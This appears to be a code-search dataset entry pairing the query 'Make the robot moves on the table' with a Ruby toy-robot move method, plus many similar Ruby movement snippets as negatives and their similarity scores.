"def test_movement_check_one_way\r\n\t\tdriver = Driver::new(\"Driver 1\")\r\n\t\thospital = Location::new(\"Hospital\", \"Foo St.\", \"Fourth Ave.\")\r\n\t\tmuseum = Location::new(\"Museum\", \"Bar St.\", \"Fifth Ave.\")\r\n\t\tcathedral = Location::new(\"Cathedral\", \"Bar St.\", \"Fourth Ave.\")\r\n\t\r\n\t\thospital.new_one_way cathedral\r\n\t\thospital.new_two_way museum\r\n\r\n\t\tdriver.current_location(hospital)\r\n\t\tdriver_move(driver, 0)\r\n\t\tassert_equal cathedral, driver.location\r\n\tend",
"def move_absolute( coord_x, coord_y, coord_z)\n\n # calculate the number of steps for the motors to do\n\n $status.info_target_x = coord_x\n $status.info_target_y = coord_y\n $status.info_target_z = coord_z\n\n steps_x = coord_x * @axis_x_steps_per_unit\n steps_y = coord_y * @axis_y_steps_per_unit\n steps_z = coord_z * @axis_z_steps_per_unit\n\n @axis_x_pos = steps_x\n @axis_y_pos = steps_y\n @axis_z_pos = steps_z\n\n move_to_coord(steps_x, steps_y, steps_z )\n\n end",
"def place(x, y, heading_symbol)\n heading = Heading.create(heading_symbol)\n valid_location = @board.safe_location(x, y)\n if valid_location && heading\n @state.unshift(Robot.new(x,y,heading))\n else\n puts \"Invalid heading: #{heading}\" if heading.nil?\n puts \"Invalid location: (#{x}, #{y}). Must be between (0, 0) and (#{@width}, #{@height})\" unless valid_location\n end\n self\n end",
"def move\n\t\tif @direction == \"N\"\n\t\t\t@y += 1\n\t\telsif @direction == \"W\"\n\t\t\t@x -= 1\n\t\telsif @direction == \"E\"\n\t\t\t@x += 1\n\t\telsif @direction == \"S\"\n\t\t\t@y -= 1\n\t\tend\n\tend",
"def move\n\t\t@x += 0\n\t\t@y += @vel\n\tend",
"def place\n next_move = {x: command.arguments[:x], y: command.arguments[:y]}\n if inside_table?(next_move_x_y(next_move, false))\n update_position!(next_move_x_y(next_move, false))\n update_direction!\n else\n almost_die\n end\n end",
"def test_can_not_move_north\n table_top = TableTop.new(5, 5)\n @robot.place(table_top, :TEST, 1, 5)\n\n assert_equal(:NORTH, @robot.direction)\n assert_equal(\"P\", @robot.get_path_value(1, 5))\n\n @robot.move\n assert_equal(1, @robot.x, \"X position should be 1 (not changed)\")\n assert_equal(5, @robot.y, \"Y position should be 5 (not changed)\")\n assert_equal(:NORTH, @robot.direction, \"Direction should be :NORTH (not changed)\")\n assert_equal(\"P\", @robot.get_path_value(1, 5))\n end",
"def test_can_move_east\n table_top = TableTop.new(5, 5)\n @robot.place(table_top, :EAST, 1, 2)\n\n assert_equal(:EAST, @robot.direction)\n assert_equal(\"P\", @robot.get_path_value(1, 2))\n\n @robot.move\n assert_equal(2, @robot.x, \"X position should be 2 (moved 1 east)\")\n assert_equal(2, @robot.y, \"Y position should be 2 (not changed)\")\n assert_equal(:EAST, @robot.direction, \"Direction should be :EAST (not changed)\")\n assert_equal(\"M\", @robot.get_path_value(2, 2))\n end",
"def move\n @coord_x1 = @coord_x1 + @move_x\n @coord_x2 = @coord_x1 + @radius\n @coord_y1 = @coord_y1 + @slope * @move_x * Math.tan(@ankle)\n @coord_y2 = @coord_y1 + @radius\n @coord_ym = @coord_y1 + @radius/2\n\n #draw()\n end",
"def place_at(x, y, direction)\n @position = [x.to_i, y.to_i]\n @front = case direction.downcase \n when \"north\" then :north\n when \"south\" then :east\n when \"east\" then :south\n when \"west\" then :west\n end\n puts \"position is: #{@position} direction is #{@front}\"\n end",
"def kick_wall(wall)\n wall.moveTo(@new_x, @new_y)\n #or wall.moveTo(:direction)\n end",
"def initialize(x_coord, y_coord, direction)\n\n @compass = [\"N\", \"E\", \"S\", \"W\"]\n @count = 0\n @x = x_coord\n @y = y_coord\n @d = direction\n @current_direction = @compass.index(@d)\n puts \"\\nThe initial position of the robot is #{@x}, #{@y}. It is facing the #{@d} direction.\"\n end",
"def interpret_place(command)\n matches = command.upcase.match(/^\\s*(\\d+)\\s*,\\s*(\\d+)\\s*,\\s*(NORTH|SOUTH|EAST|WEST)/)\n raise CommandError, \"Invalid place command.\" if matches.nil?\n \n xpos = matches[1].to_i\n ypos = matches[2].to_i\n direction = matches[3]\n \n coords = Coordinate.new(xpos, ypos)\n direction = Direction[direction]\n \n if @robot.nil?\n @robot = Robot.new(coords, direction, @table)\n else\n @robot.place(coords, direction, @table)\n end\n end",
"def move_by a, m\n rad = a * D2R\n self.x += Math.cos(rad) * m\n self.y += Math.sin(rad) * m\n end",
"def walk\n case @direction\n when 'N'\n @y += 1\n when 'W'\n @x += 1\n when 'S'\n @y -= 1\n when 'E'\n @x -= 1\n end\n end",
"def move_home_set_direction()\n\n if (invert_axis ^ reverse_home) == false\n set_direction_low()\n else\n set_direction_high()\n end\n\n end",
"def move(direction)\n\t\tcase direction\n\t\twhen \"North\"\n\t\t\tmove_north\n\t\twhen \"East\"\n\t\t\tmove_east\n\t\twhen \"South\"\n\t\t\tmove_south\n\t\twhen \"West\"\n\t\t\tmove_west\n\t\tend\n\tend",
"def motion (direction)\n unit = (direction == :forward) ? 1 : -1;\n new_x, new_y = @x, @y\n case @heading\n when 'N'\n new_y = bound_y(@y + unit)\n when 'E'\n new_x = bound_x(@x + unit)\n when 'S'\n new_y = bound_y(@y - unit)\n when 'W'\n new_x = bound_x(@x - unit)\n end\n if @world.obstacle?(new_x, new_y)\n raise \"Obstacle found at x:#{new_x} y:#{new_y}\"\n else\n @x, @y = new_x, new_y\n end\n end",
"def move\n \n end",
"def move\n \n end",
"def execute(toyRobot)\n\t\traise \"Argument error. Needs to be of type ToyRobot\" unless toyRobot.kind_of?(ToyRobot)\n\t\ttoyRobot.move\n\tend",
"def move (direction)\n\n if@navunit.is_valid_move @xpos, @ypos\n\n if direction == 'north'\n @ypos += 1\n elsif direction == 'east'\n @xpos += 1\n elsif direction == 'south'\n @ypos -= 1\n elsif direction == 'west'\n @xpos -= 1\n end\n\n else\n puts \"that's not a valid move\"\n end\n\n def report\n \"My co-ordinates are #{@xpos}, #{@ypos}\"\n end\nend",
"def moving!\n end"
] |
[
"0.7324468",
"0.72123486",
"0.71226174",
"0.70440006",
"0.7043758",
"0.70307237",
"0.6988174",
"0.6943922",
"0.6907475",
"0.6871157",
"0.6867791",
"0.68670845",
"0.6858393",
"0.68250793",
"0.6812549",
"0.6801973",
"0.67897856",
"0.6781105",
"0.67726916",
"0.6770284",
"0.6731156",
"0.672606",
"0.67064875",
"0.67043453",
"0.6688549",
"0.66882616",
"0.66369283",
"0.6589563",
"0.65894765",
"0.6588502",
"0.65869975",
"0.6532367",
"0.6523378",
"0.6504134",
"0.6484108",
"0.6480942",
"0.6477036",
"0.6469587",
"0.64462185",
"0.64413714",
"0.64387876",
"0.6427839",
"0.642413",
"0.64214194",
"0.6408042",
"0.6399099",
"0.6387383",
"0.63865185",
"0.63626206",
"0.63407886",
"0.63300043",
"0.63220274",
"0.6318175",
"0.63138175",
"0.6309057",
"0.6309057",
"0.62886614",
"0.6276143",
"0.625845",
"0.6245558",
"0.62426883",
"0.62420416",
"0.6236654",
"0.6233071",
"0.6231711",
"0.6231342",
"0.6229626",
"0.62188125",
"0.62011564",
"0.61929756",
"0.61846375",
"0.6183646",
"0.6164801",
"0.6162652",
"0.6140851",
"0.61251515",
"0.61237806",
"0.6119004",
"0.6117693",
"0.6111182",
"0.6100992",
"0.6100952",
"0.6100925",
"0.6094933",
"0.6090225",
"0.6085361",
"0.60821265",
"0.6078563",
"0.6071817",
"0.60692394",
"0.6050489",
"0.60470486",
"0.60407144",
"0.6033516",
"0.6021998",
"0.6020779",
"0.6020136",
"0.6020136",
"0.6008559",
"0.6007925",
"0.6007598"
] |
0.0
|
-1
|
Make the robot moves on the table
|
def move
check_placement
new_position = make_move(current_position, direction)
position(new_position[0], new_position[1], @table.size)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def move\n position_after_move = @position.new_coordinates_for_step_size(@direction.step_size_for_x_axis, @direction.step_size_for_y_axis)\n\n #ignore the command if robot is being out off tabletop\n if(@table_top.has_within_bounds?(position_after_move))\n @position = @position.new_coordinates_for(@direction.step_size_for_x_axis, @direction.step_size_for_y_axis)\n\n end\n end",
"def move\n case @facing\n when \"north\"\n @posY += 1 if @posY+1 < @table.width\n when \"east\"\n @posX += 1 if @posX+1 < @table.height\n when \"south\"\n @posY -= 1 if @posY-1 >= 0\n when \"west\"\n @posX -= 1 if @posX-1 >= 0\n end\n end",
"def move\n case self.direction\n when 'NORTH'\n self.y += 1 unless self.y == @table.y\n when 'EAST'\n self.x += 1 unless self.x == @table.x\n when 'SOUTH'\n self.y -= 1 unless self.y == 0\n when 'WEST'\n self.x -= 1 unless self.x == 0\n end\n end",
"def move\n origin = @table.find(self)\n\n # Check if the robot can move without falling off the table\n case @direction\n when Direction::NORTH\n movement = Coordinate.new(0, 1)\n when Direction::EAST\n movement = Coordinate.new(1, 0)\n when Direction::SOUTH\n movement = Coordinate.new(0, -1)\n when Direction::WEST\n movement = Coordinate.new(-1, 0)\n end\n destination = origin + movement\n return unless @table.contain? destination\n\n # Safe to move\n @table.place origin, nil\n @table.place destination, self\n end",
"def test_can_move_north\n table_top = TableTop.new(5, 5)\n @robot.place(table_top, :TEST)\n\n assert_equal(:NORTH, @robot.direction)\n assert_equal(\"P\", @robot.get_path_value(0, 0))\n\n @robot.move\n assert_equal(0, @robot.x, \"X position should be 0 (not changed)\")\n assert_equal(1, @robot.y, \"Y position should be 1 (moved 1 north)\")\n assert_equal(:NORTH, @robot.direction, \"Direction should be :NORTH (not changed)\")\n assert_equal(\"M\", @robot.get_path_value(0, 1))\n end",
"def move\n # Robot cannot move if not placed on the table.\n if !self.on_table\n return false\n end\n\n # Assigning new coordinates depending on the orientation\n # The robot can only move 1 unit at a time\n # If the new coordinate is outside of the table, return false\n case self.orientation\n when 0\n if !(self.x + 1).between?(0,4)\n return false\n else\n self.x += 1\n end\n\n when 90\n if !(self.y - 1).between?(0,4)\n return false\n else\n self.y -= 1\n end\n\n when 180\n if !(self.x - 1).between?(0,4)\n return false\n else\n self.x -= 1\n end\n\n when 270\n if !(self.y + 1).between?(0,4)\n return false\n else\n self.y += 1\n end\n\n else\n return false # If the orientation is none of the authorised values, return false\n end\n\n return true\n end",
"def test_scenario1 \n r = robot\n r.move(table)\n assert_equal('0,1,NORTH', r.report)\n end",
"def execute\n return unless @robot.table\n step_addition = Coordinate.step_addition_for(@robot.direction)\n new_coordinate = @robot.coordinate.add(step_addition)\n if @robot.table.is_on_table(new_coordinate)\n @robot.coordinate = new_coordinate\n end\n end",
"def test_can_not_move_north\n table_top = TableTop.new(5, 5)\n @robot.place(table_top, :TEST, 1, 5)\n\n assert_equal(:NORTH, @robot.direction)\n assert_equal(\"P\", @robot.get_path_value(1, 5))\n\n @robot.move\n assert_equal(1, @robot.x, \"X position should be 1 (not changed)\")\n assert_equal(5, @robot.y, \"Y position should be 5 (not changed)\")\n assert_equal(:NORTH, @robot.direction, \"Direction should be :NORTH (not changed)\")\n assert_equal(\"P\", @robot.get_path_value(1, 5))\n end",
"def move\n if inside_table?(next_move_x_y(next_move))\n update_position!(next_move_x_y(next_move))\n else\n almost_die\n end\n end",
"def move(args)\n return if !@is_robot_availabe\n case @direction\n when \"NORTH\"\n if @pos_y + STEP <= TABLE_Y\n @pos_y += STEP\n return\n end\n \n when \"EAST\"\n if @pos_x + STEP <= TABLE_X\n @pos_x += STEP\n return\n end\n \n when \"SOUTH\"\n if @pos_y - STEP >= 0\n @pos_y -= STEP\n return\n end\n \n when \"WEST\"\n if @pos_x - STEP >= 0\n @pos_x -= STEP\n return\n end\n \n end\n puts \"Warning: Robot cannot move towards #{@direction} anymore. \"\n # return \"MOVE\" #for test\n end",
"def place_robot(new_place, direction)\n if @table_top.move_robot(new_place)\n @toy_place = new_place\n @toy_direction = direction\n end\n end",
"def move\n placed?\n if @direction == \"NORTH\"\n raise \"Out of bounds\" unless @tabletop.table_boundary?(@x, (@y+1))\n @y+=1\n elsif @direction == \"SOUTH\"\n raise \"Out of bounds\" unless @tabletop.table_boundary?(@x, (@y-1))\n @y-=1\n elsif @direction == \"WEST\"\n raise \"Out of bounds\" unless @tabletop.table_boundary?((@x-1), @y)\n @x-=1\n elsif @direction == \"EAST\"\n raise \"Out of bounds\" unless @tabletop.table_boundary?((@x+1), @y)\n @x+=1\n end\n end",
"def test_can_move_south\n table_top = TableTop.new(5, 5)\n @robot.place(table_top, :SOUTH, 1, 2)\n\n assert_equal(:SOUTH, @robot.direction)\n assert_equal(\"P\", @robot.get_path_value(1, 2))\n\n @robot.move\n assert_equal(1, @robot.x, \"X position should be 1 (not changed)\")\n assert_equal(1, @robot.y, \"Y position should be 1 (moved 1 south)\")\n assert_equal(:SOUTH, @robot.direction, \"Direction should be :SOUTH (not changed)\")\n assert_equal(\"M\", @robot.get_path_value(1, 1))\n end",
"def test_can_move_west\n table_top = TableTop.new(5, 5)\n @robot.place(table_top, :WEST, 5, 5)\n\n assert_equal(:WEST, @robot.direction)\n assert_equal(\"P\", @robot.get_path_value(5, 5))\n\n @robot.move\n assert_equal(4, @robot.x, \"X position should be 4 (moved 1 east)\")\n assert_equal(5, @robot.y, \"Y position should be 5 (not changed)\")\n assert_equal(:WEST, @robot.direction, \"Direction should be :WEST (not changed)\")\n assert_equal(\"M\", @robot.get_path_value(4, 5))\n end",
"def test_can_not_move_south\n table_top = TableTop.new(5, 5)\n @robot.place(table_top, :SOUTH, 1, 0)\n\n assert_equal(:SOUTH, @robot.direction)\n assert_equal(\"P\", @robot.get_path_value(1, 0))\n\n @robot.move\n assert_equal(1, @robot.x, \"X position should be 1 (not changed)\")\n assert_equal(0, @robot.y, \"Y position should be 0 (not changed)\")\n assert_equal(:SOUTH, @robot.direction, \"Direction should be :SOUTH (not changed)\")\n assert_equal(\"P\", @robot.get_path_value(1, 0))\n end",
"def update_position!(next_move)\n table.x = next_move[:x]\n table.y = next_move[:y]\n end",
"def move(robot, direction_sym)\n raise PlacementError.new \"Robot is not on this table\" unless placed?(robot)\n new_position = calculate_position(@robots[robot].clone, direction_sym)\n # Move the robot by placing it at its new location\n place(robot, **new_position)\n end",
"def robot_move\n state_execute do |robot|\n robot.move\n end\n end",
"def move\n\t\treturn \"INVALID COMMANDS, YOU CAN NOT MAKE THE ROBOT FALL OFF THE TABLE\" unless is_valid_move?\n\t\tcase @direction\n\t\twhen \"east\"\n\t\t\t@x_coordinate += 1\n\t\twhen \"west\"\n\t\t\t@x_coordinate -= 1\n\t\twhen \"south\"\n\t\t\t@y_coordinate -= 1\n\t\twhen \"north\"\n\t\t\t@y_coordinate += 1\n\t\telse\n\t\tend\n\t\ttrue\n\tend",
"def execute\n return unless @robot.placed?\n\n original_position = @robot.position\n new_position = original_position.dup\n new_position.move\n\n @robot.position = new_position if @table.position_valid?(new_position)\n end",
"def move\n case @toy_direction\n when \"NORTH\"\n new_place = [@toy_place[0], @toy_place[1] + 1]\n when \"EAST\"\n new_place = [@toy_place[0] + 1, @toy_place[1]]\n when \"SOUTH\"\n new_place = [@toy_place[0], @toy_place[1] - 1]\n when \"WEST\"\n new_place = [@toy_place[0] - 1, @toy_place[1]]\n end\n place_robot(new_place, @toy_direction)\n end",
"def test_can_not_move_west\n table_top = TableTop.new(5, 5)\n @robot.place(table_top, :WEST, 0, 4)\n\n assert_equal(:WEST, @robot.direction)\n assert_equal(\"P\", @robot.get_path_value(0, 4))\n\n @robot.move\n assert_equal(0, @robot.x, \"X position should be 0 (not changed)\")\n assert_equal(4, @robot.y, \"Y position should be 4 (not changed)\")\n assert_equal(:WEST, @robot.direction, \"Direction should be :WEST (not changed)\")\n assert_equal(\"P\", @robot.get_path_value(0, 4))\n end",
"def test_can_move_east\n table_top = TableTop.new(5, 5)\n @robot.place(table_top, :EAST, 1, 2)\n\n assert_equal(:EAST, @robot.direction)\n assert_equal(\"P\", @robot.get_path_value(1, 2))\n\n @robot.move\n assert_equal(2, @robot.x, \"X position should be 2 (moved 1 east)\")\n assert_equal(2, @robot.y, \"Y position should be 2 (not changed)\")\n assert_equal(:EAST, @robot.direction, \"Direction should be :EAST (not changed)\")\n assert_equal(\"M\", @robot.get_path_value(2, 2))\n end",
"def move\n if @placed\n position = @face.move(@x, @y)\n x = position[0]\n y = position[1]\n if @table.validate(x, y)\n @x = x\n @y = y\n end\n end\n end",
"def move_robot_forward details\r\n\tif(details.f == 1 and details.y<5)\r\n\t\tdetails.y += 1\r\n\telsif(details.f == 2 and details.x<5)\r\n\t\tdetails.x += 1\r\n\telsif(details.f == 3 and details.y>0)\r\n\t\tdetails.y -= 1\r\n\telsif(details.f == 4 and details.x>0)\r\n\t\tdetails.x -= 1\r\n\telse\r\n\t\tprint(\"\\nRobot will fall off the table. Aborting movement.\")\r\n\tend\r\n\tdetails\r\nend",
"def place\n next_move = {x: command.arguments[:x], y: command.arguments[:y]}\n if inside_table?(next_move_x_y(next_move, false))\n update_position!(next_move_x_y(next_move, false))\n update_direction!\n else\n almost_die\n end\n end",
"def move\n # Check that we have been placed\n if self.placed?\n # Create a new version to hold our new position for validation later\n new_position = @current_position.dup\n \n # Get our direction constant to establish whether we want to operate on the X or Y co-ordinate and whether to subtract or add based on direction\n direction_constant = self.get_direction_constant\n\n # Calculate our new position operating on the correct coordinate with the correct operation using the constants we have on the class\n new_position[direction_constant[:coordinate]] = new_position[direction_constant[:coordinate]] + direction_constant[:operation_value] \n # Check if the new position is valid move to this position\n if @table.valid_destination new_position[:x], new_position[:y]\n # Set our new valid position\n @current_position = new_position \n puts \"The Toy Robot has moved to (#{@current_position[:x]}, #{@current_position[:y]}) facing #{@current_position[:direction]}...\"\n else\n puts \"The Toy Robot cannot move any further, position unchanged, skipping command...\"\n return false\n end\n else\n puts \"The Toy Robot has not been placed, skipping command...\"\n return false\n end\n end",
"def test_scenario3\n r = Robot.new(1, 2, 'EAST')\n r.move(table)\n r.move(table)\n r.turn_left\n r.move(table)\n assert_equal('3,3,NORTH', r.report)\n end",
"def execute\n return unless @robot.table\n x = @robot.coordinate.x\n y = @robot.coordinate.y\n direction = @robot.direction.to_s.upcase\n @out.puts(\"#{x},#{y},#{direction}\")\n end",
"def move\n return false unless on_the_table?\n\n next_x, next_y = facing.next_move_position(x, y)\n unless falls_off?(next_x, next_y)\n self.x = next_x\n self.y = next_y\n true\n else\n false\n end\n end",
"def test_can_not_move_east\n table_top = TableTop.new(5, 5)\n @robot.place(table_top, :EAST, 5, 2)\n\n assert_equal(:EAST, @robot.direction)\n assert_equal(\"P\", @robot.get_path_value(5, 2))\n\n @robot.move\n assert_equal(5, @robot.x, \"X position should be 5 (not changed)\")\n assert_equal(2, @robot.y, \"Y position should be 2 (not changed)\")\n assert_equal(:EAST, @robot.direction, \"Direction should be :EAST (not changed)\")\n assert_equal(\"P\", @robot.get_path_value(5, 2))\n end",
"def setup_move\n return unless PONY::ERRNO.check_sequence(current_act)\n stop_all_movements\n mx = @map_char.real_x + @acts[1]\n my = @map_char.real_y + @acts[2]\n goto(mx, my, @acts[3], @acts[4], @acts[5] || 0)\n end",
"def move\n \n end",
"def move\n \n end",
"def choppy_movement_tb\n @tb_grid_mv = @tb_grid_mv == 3 ? 0 : @tb_grid_mv + 1\n if TactBattleManager.tact_battle? && @tb_grid_mv == 2 \n Sound.play_cursor if Input.dir4 > 0 && @x == @real_x && @y == @real_y\n mv_by_input_tb_mod\n end\n end",
"def execute\n if @table.is_on_table(@coordinate) && !@robot.table\n @robot.put_on_table(@table,@coordinate,@direction)\n end\n end",
"def execute\n if @robot.placed?\n new_position = @robot.current_position.go_to(@robot.current_position.direction)\n\n @robot.current_position = new_position if @table.position_is_valid?(new_position)\n end\n end",
"def valid_move?\n\t\t@table.stays_on_table?(@robot_direction, @x, @y)\n\tend",
"def place args\n \n @is_robot_availabe = true\n \n @pos_x,@pos_y,@direction = args\n\n if not (0..TABLE_X).include?(@pos_x) or not (0..TABLE_Y).include?(@pos_y)\n puts \"Warning: The position of Robot at (#{@pos_x}, #{@pos_y}) is outside the table (5,5).\"\n @is_robot_availabe = false\n return\n end\n\n if not DIRECTIONS.include?(@direction)\n puts \"Warning: #{@direction} is invaid. Robot can only move towards the four directions: \\n\"\\\n \"#{DIRECTIONS.inspect}.\"\n @is_robot_availabe = false\n return\n end\n\n # return \"PLACE\" #for test\n end",
"def move\n\n end",
"def unit_move_tb(x,y)\n @tb_event.flash_soft_tb = false if @tb_event\n give_move_command(@tb_event)\n @tb_event.tb_unit.used_action(:move, @tb_event.tb_unit.move)\n @showing_temp_hls = false\n end",
"def move(direction)\n \n end",
"def move(board)\n end",
"def living_move\n simulate_move(opponent)\n end",
"def move\n\t\tif valid_move?\n\t\t\tputs \"\"\n\t\t\tif OS.mac?\n\t\t\t\tcmd = ('say \"roger-roger\"')\n\t\t\t\tsystem cmd\n\t\t\tend\n\t\t\tputs \"Roger, roger I\\'m moving forward one field!\"\n\t\t\tcase @robot_direction\n\t\t\twhen \"EAST\" then @x += 1\n\t\t\twhen \"WEST\" then @x -= 1\n\t\t\twhen \"NORTH\" then @y += 1\n\t\t\twhen \"SOUTH\" then @y -= 1\n\t\t\tend\n\t\telse\n puts \"This is the end of this world and I can't go further in this direction, please change direction\"\n\t\tend\n\tend",
"def move\n case @current_rotation\n when ToyEnums::NORTH\n @position_y +=1\n when ToyEnums::SOUTH\n @position_y -=1\n when ToyEnums::EAST\n @position_x +=1\n when ToyEnums::WEST\n @position_x -=1\n else\n\n end\n end",
"def move\n\t\t# move 5px to the left\n\t @x = @x - 5\n\t # move up or down based on the Y velocity\n\t @y = @y + @vy\n\tend",
"def go_to_next_row()\n turn_left()\n move()\n turn_left()\n end",
"def move_maker\n GameBoard.print_game_board($game_board)\n $move_counter+=1\n $x_or_o = if $move_counter.even? then \"o\" else \"x\" end \n print \"\\n --> Press key 1-8 to pick a column\\n\\n\\tPlayer \", $x_or_o, \" > \"\n input_range()\n if Move.check_move == \"column complete\"\n print \"\\n\\n\\tChoose different column!\"\n $move_counter-=1\n sleep(1)\n end\n end",
"def move\n\n if @position != []\n if @position[2] == \"EAST\"\n @position[0] += 1\n elsif @position[2] == \"WEST\"\n @position[0] -= 1\n elsif @position[2] == \"NORTH\"\n @position[1] += 1\n elsif @position[2] == \"SOUTH\"\n @position[1] -= 1\n end\n check_position()\n else\n puts \"Invalid Command!!.\\nPlease execute command (place) to place the robot on the table.\"\n end\n @position\nend",
"def moving!\n end",
"def move; end",
"def move; end",
"def update\n @player.shape.body.reset_forces\n\n 6.times do\n if button_down? Gosu::KbLeft or button_down? Gosu::GpLeft then\n @player.move_left\n end\n if button_down? Gosu::KbRight or button_down? Gosu::GpRight then\n @player.move_right\n end\n #if button_down? Gosu::KbUp or button_down? Gosu::GpRight then\n # @player.shape.body.a += 0.1\n #\n # puts @player.shape.body.a.inspect\n #end\n #if button_down? Gosu::KbDown or button_down? Gosu::GpRight then\n # @player.shape.body.a -= 0.1\n # puts @player.shape.body.a.inspect\n #end\n\n\n @space.step 1.0/10.0\n end\n end",
"def move(robot_name,robot_direction)\n case robot_direction\n when \"NORTH\"\n self.robot_position[robot_name][1] +=1 if robot_position[robot_name][1] < max_height\n when \"SOUTH\"\n self.robot_position[robot_name][1] -=1 if robot_position[robot_name][1] > 0\n when \"WEST\"\n self.robot_position[robot_name][0] -=1 if robot_position[robot_name][0] > 0\n when \"EAST\"\n self.robot_position[robot_name][0] +=1 if robot_position[robot_name][0] < max_length\n else\n nil\n end\n end",
"def move_robot(command, unit)\n if /#{FORWARD}/.match?(command)\n case $current_direction \n when 0\n $y += unit\n when 1\n $x += unit\n when 2\n $y -= unit\n else\n $x -= unit\n end\n elsif /#{BACKWARD}/.match?(command)\n case $current_direction \n when 0\n $y -= unit\n when 1\n $x -= unit\n when 2\n $y += unit\n else\n $x += unit\n end \n end \nend",
"def move(board)\n \trandom_move(board)\n\tend",
"def moves\n\n end",
"def make_move!\n return false if get_cell_value(row, column).present?\n\n self.send cell_column(row, column, false), icon\n win? || drawn?\n\n self.save\n end",
"def move\n\t\tcase @car.orientation\n\t\t\twhen 0 \n\t\t\t\t@car.y += 1\n\t\t\twhen 2\n\t\t\t\t@car.y -= 1\n\t\t\twhen 1\n\t\t\t\t@car.x += 1\n\t\t\twhen 3\n\t\t\t\t@car.x -= 1\n\t\tend\n\tend",
"def exec(position)\n return unless table.valid_position?(position)\n\n robot.update_robot(position)\n end",
"def rotate direction\n # Check if the toy robot has been placed on the table yet\n return unless placed?\n\n # Calculate new direction by finding out the next or previous item on the const array DIRECTIONS\n curr_index = DIRECTIONS.find_index(@direction)\n \n # If the result would be out of bounds, wrap around.. \n\n\n if (direction == 1 and curr_index == 3)\n # if direction = right and the robot's direction is :west\n # we wrap around the array, so new direction = :north\n\n new_index = 0 \n elsif direction == -1 and curr_index == 0\n # if direction = left and the robot's direction is :north\n # we wrap around the array, so new direction = :west\n\n new_index = 3 \n else\n # Calculate new index based on index of the robot's position on the DIRECTIONS array \n # and the direction the robot is turning\n new_index = curr_index + direction\n end\n\n @direction = DIRECTIONS[new_index]\n end",
"def place_robot(robot, x, y, direction)\n return false unless position_valid?(x, y)\n\n robot.remove if robot.table\n\n robot.instance_variable_set(:@table, self)\n robot.instance_variable_set(:@x, x)\n robot.instance_variable_set(:@y, y)\n robot.instance_variable_set(:@direction, direction)\n\n @robots.push(robot) unless robots.include?(robot)\n\n true\n end",
"def moves\n end",
"def start_movement\n end",
"def move\n if me\n turn_left if window.button_down? Gosu::KbLeft\n turn_right if window.button_down? Gosu::KbRight\n run if window.button_down? Gosu::KbUp\n run_with_ball\n end\n end",
"def move\n start_show_thinking\n @board.move(best_moves.first)\n stop_show_thinking\n board.last_move\n end",
"def move\n return unless placed?\n # We know place() will already ignore invalid placements, so just advance\n # the robot and let it fail silently if those positions are not on the board\n place(*next_position, direction)\n end",
"def move\n case @direction\n when \"N\" then @y += 1 unless @y + 1 > @plateau.y || @@rover_locations.values.include?([@x, @y + 1])\n when \"E\" then @x += 1 unless @x + 1 > @plateau.x || @@rover_locations.values.include?([@x + 1, @y])\n when \"S\" then @y -= 1 unless @y - 1 < 0 || @@rover_locations.values.include?([@x, @y -1])\n when \"W\" then @x -= 1 unless @x - 1 < 0 || @@rover_locations.values.include?([@x -1, @x])\n end\n @@rover_locations[@id.to_sym] = [@x, @y]\n end",
"def move\n\t\tif @direction == \"N\"\n\t\t\t@y += 1\n\t\telsif @direction == \"W\"\n\t\t\t@x -= 1\n\t\telsif @direction == \"E\"\n\t\t\t@x += 1\n\t\telsif @direction == \"S\"\n\t\t\t@y -= 1\n\t\tend\n\tend",
"def update_move\n self.x = screen_x\n self.y = screen_y\n update_move_arch if @type == Arched\n end",
"def move(board)\nend",
"def go_to(rows,cols,face=nil)\n \tface = 'north' if (rows == 0 && cols == 0)\n @position.change ({:x => rows, :y => cols, :face => face.to_sym}) if face\n end",
"def move!\n if placed?\n case orientation.to_sym\n when :NORTH then @y += 1 if valid_coordinates?(x, y + 1)\n when :EAST then @x += 1 if valid_coordinates?(x + 1, y)\n when :SOUTH then @y -= 1 if valid_coordinates?(x, y - 1)\n when :WEST then @x -= 1 if valid_coordinates?(x - 1, y)\n end\n nil\n else\n raise RobotSimulation::NotPlacedError, \"Robot has not been placed yet.\"\n end\n end",
"def execute(command)\n if command =~ /^PLACE\\s+\\d+\\s*,\\s*\\d+\\s*,\\s*(NORTH|SOUTH|EAST|WEST)$/\n command, x, y, direction = command.gsub(',', ' ').split\n robot.place(table, Position.new({x: x.to_i, y: y.to_i, direction: direction}))\n elsif command == \"MOVE\"\n robot.move(table)\n elsif command == \"LEFT\"\n robot.left\n elsif command == \"RIGHT\"\n robot.right\n elsif command == \"REPORT\"\n robot.report\n else\n \"Invalid command!\"\n end\n end",
"def execute(toyRobot)\n\t\traise \"Argument error. Needs to be of type ToyRobot\" unless toyRobot.kind_of?(ToyRobot)\n\t\ttoyRobot.move\n\tend",
"def perform_move(move)\n @board[*move] = self\n @board[*@location] = nil\n @location = move\n @king = true if in_end_row?\n move\n end",
"def move()\n case @mov_dir\n when :right\n if @coord_x == @max_x\n @max_x += 1 # Moving out of bounds. No need to do anything because Ruby rocks! :P\n end\n @coord_x += 1\n \n when :up\n if @coord_y == 0\n @map.unshift [] # Moving out of bounds. Adds a new line to the top\n @max_y += 1\n else\n @coord_y -= 1\n end\n \n when :down\n if @coord_y == @max_y\n @max_y += 1\n @map.push [] # Moving out of bounds. Adds a new line to the bottom\n end\n @coord_y += 1\n \n when :left\n if @coord_x == 0\n @map.each do |a| # Moving out of bounds. Adds a new line to the left\n a.unshift ' ' \n end\n @max_x += 1\n else\n @coord_x -= 1\n end\n end\n end",
"def moves\n # warn \"Explorer: #{explorer.last}\"\n # warn @robots.map(&:last)\n # warn @items.map(&:last)\n\n clear_tasks\n assign_tasks\n\n @my_bots.map(&:next_command)\n end",
"def move\n x_mov, y_mov = MOVEMENT_VECTORS[@direction]\n\n #add vector to current position\n @x_pos += x_mov\n @y_pos += y_mov\n\n throw \"fell off plateau, position: [#{@x_pos}, #{@y_pos}]\" if @x_pos < 0 || @y_pos < 0\n throw \"fell off plateau, position: [#{@x_pos}, #{@y_pos}]\" if @x_pos > @mars_plateau.max_x || @y_pos > @mars_plateau.max_y\n\n [@x_pos, @y_pos]\n end",
